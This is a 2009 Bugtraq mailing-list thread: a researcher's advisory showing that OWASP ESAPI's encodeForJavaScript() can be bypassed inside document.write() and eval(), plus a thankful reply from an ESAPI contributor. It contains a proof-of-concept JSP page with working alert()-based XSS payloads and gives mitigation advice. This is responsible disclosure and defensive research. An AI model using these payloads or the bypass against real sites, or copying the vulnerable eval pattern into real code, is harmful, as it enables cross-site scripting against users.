[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
RE: Bypassing OWASP ESAPI XSS Protection inside Javascript
- To: "Inferno" <inferno@xxxxxxxxxxxxxxxxxx>, <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: RE: Bypassing OWASP ESAPI XSS Protection inside Javascript
- From: "Schmidt, Chris" <cschmidt@xxxxxxxxxxxxxxxx>
- Date: Thu, 20 Aug 2009 09:28:03 -0600
Great job and very thorough explanation. As a contributor on the ESAPI
project I hope to see more and more people taking an interest in this
kind of research. Research like this will only make the ESAPI a more
secure and viable solution for web application security.
Thanks Inferno and keep up the good work!
Chris Schmidt
http://yet-another-dev.blogspot.com
Java Developer and Application Security Analyst
ServiceMagic, Inc.
-----Original Message-----
From: Inferno [mailto:inferno@xxxxxxxxxxxxxxxxxx]
Sent: Thursday, August 20, 2009 2:18 AM
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Bypassing OWASP ESAPI XSS Protection inside Javascript
Bypassing OWASP ESAPI XSS Protection inside Javascript
------------------------------------------------------
By Inferno (inferno {at} securethoughts {dot} com)
Everyone knows the invaluable XSS cheat sheet maintained by "RSnake". It
is
all about breaking things and features all the scenarios that can result
in
XSS. To complement his efforts, there is an excellent XSS prevention
cheat
sheet created by "Jeff Williams" (Founder and CEO, Aspect Security). As
far
as I have seen, this wiki page provides the most comprehensive
information
on protecting yourself from XSS on the internet. It advises using the
OWASP
ESAPI api to mitigate any XSS arising from untrusted user input.
I was evaluating this ESAPI api and the recommendations given on the
wiki to
see if there are any potential flaws. Any weakness impacts a very large
number of users since many developers are using it to strengthen their
web
applications throughout the world. This is my way of contributing back
to
the community, but can never match the immense efforts put by Jeff and
other
OWASP team members in developing this library.
I want to give you a little bit of background before diving into the
real
vulnerability. The XSS prevention cheat sheet classifies XSS protections
by
dividing them into broadly four buckets - HTML Body injection, HTML
Attribute injection, Javascript injection and CSS injection. For each of
these four buckets, there is an ESAPI function reference you can use for
output escaping/encoding.
If you allow any untrusted user input into javascript functions
document.write() OR eval(), it can still execute the XSS even after you
do
the scrubbing using the ESAPI encodeForJavaScript() function. The reason
being that hex escaped chars are converted back into normal chars at the
time of execution of these functions.
Here is the proof of concept jsp code:
01.<%@page import="org.owasp.esapi.*"%>
02.
03.<%@page contentType="text/html" pageEncoding="UTF-8"%>
04.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
05. "http://www.w3.org/TR/html4/loose.dtd">
06.
07.<html>
08. <head>
09. <meta http-equiv="Content-Type" content="text/html;
charset=UTF-8">
10. <title>ESAPI XSS Protection Bypass</title>
11. </head>
12. <body>
13. <h1>ESAPI XSS Protection Bypass</h1>
14. <p id="tb1"/><br>
15. <p id="tb2"/>
16. <script>
17. //in real scenario, these three strings come from
request.getParameter or user input
18. <%
19. String vulstr1 = "-1';alert(0);";
20. String vulstr2 = "<img src=x onerror=alert(1)>";
21. String vulstr3 = "0,x setter=alert,x=2";
22. %>
23.
24. // you can safely use it in places like this
25. // Ex. vulstr1 is completely encapsulated in a and
alert(0)
not executed.
26. var a='<%= ESAPI.encoder().encodeForJavaScript(vulstr1)
%>';
27. alert(a);
28.
29. // However, you can bypass protection in places like
these
30. // Ex. vulstr2 gets written to html and alert(1) executes
31. document.write("<%=
ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
32. // Ex. part of vulstr3 get assigned to u, rest alert(2)
executes
33. eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3)
%>");
34. </script>
35. </body>
36.</html>
Much thanks to Jeremiah Grossman and Jeff Williams for taking the time
to
review my idea and providing their insights. Jeremiah told me that he
has
seen such injections from time to time at WhiteHat and these do exist in
the
wild.
Jeff confirmed that some documentation changes will fix this. I agree
that
no esapi code change is required, because function themselves are not
insecure.
But, if you are currently using esapi functions inside your javascript
code,
it is important that you re-review your javascript code and the places
where
your make calls to esapi functions.
If you use the esapi function encodeForJavaScript() inside
document.write,
it is advised that you change them with other appropriate esapi
functions
depending on the context where the data is ultimately landing. For
example,
if you have document.write("<script>alert('XSS')</script>"), you know
the
data is landing in html body context, so it is appropriate to use
encodeForHTML() wrapper. Using user input inside eval is less common,
but
more disastrous. The reason for this is you can still begin another
command
context using , and (space) char and it won't be encoded by function
encodeForHTML(). So, it is better to avoid putting user input inside
eval.
Any more suggestions or discussion on fixes is highly welcome.
Thanks and Regards,
Inferno
Security Researcher
SecureThoughts.com